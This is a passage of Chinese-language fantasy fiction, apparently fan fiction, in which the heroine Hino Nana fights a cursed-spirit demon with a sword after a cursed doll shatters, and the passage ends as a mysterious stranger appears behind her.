日野奈奈差点被丑瞎，正当她将不适压下，准备趁他们不备冲去偷袭时—— “砰！” 少女手上提着的冰童徒然炸了。 高温之水溅在日野奈奈脸侧，印上烫痕，少女顾不得痛，心道不好。 倒霉催玩意，天杀的玩意，你什么时候炸不行偏偏现在—— 果不其然，那边的咒灵鬼勾着头看了过来。 “死死死……杀、杀炼……” 【恨恨恨恨——】 尖锐刺耳的声波与咒灵鬼的突袭一起行进，那张丑陋无比的脸猛然在视野里放大。 “……光合阳华矢！” 日野奈奈提气避开咒灵鬼的攻击，转而斩出一道咒力攻击。 在咒力充沛且流转自然的现下，应付咒灵鬼的攻击并不算太难，但日野奈奈心里隐隐约约有很不祥的预感。 某种难以喻明的直觉疯狂示警。 日野奈奈的眼神不由自主地落回那个炸开的冰童上。 冰童从头到脚崩成两半，脸上的笑容被劈开，里面的咒力已经自然地融入这片空间。 “……摔碎冰童，等教主大人前来……” 先前教徒的话语不自觉地浮现脑海。 日野奈奈将咒灵鬼的臂膀斩下，耳边怪物的尖啸成为胸腔中心跳的余音。 鬼血迸溅在奈奈身上，在羽织上缓慢地蔓延，少女拧眉振刀。 刀身血液滑落，嘀嗒，嘀嗒，汇入地上肮脏的液体。 砰砰，砰砰，心脏跳得很快，不好的预感越来越重。 在某一瞬间。 在日野奈奈太阳穴突突跳动的时候。 一只修长苍白的大手搭上了少女的肩膀，高大的身影忽然在日野奈奈的背后出现。 轻佻的陌生笑声包裹着少女，耳后拂来的吐息冰冷无比。 “啊呀，是好可爱的女孩子——”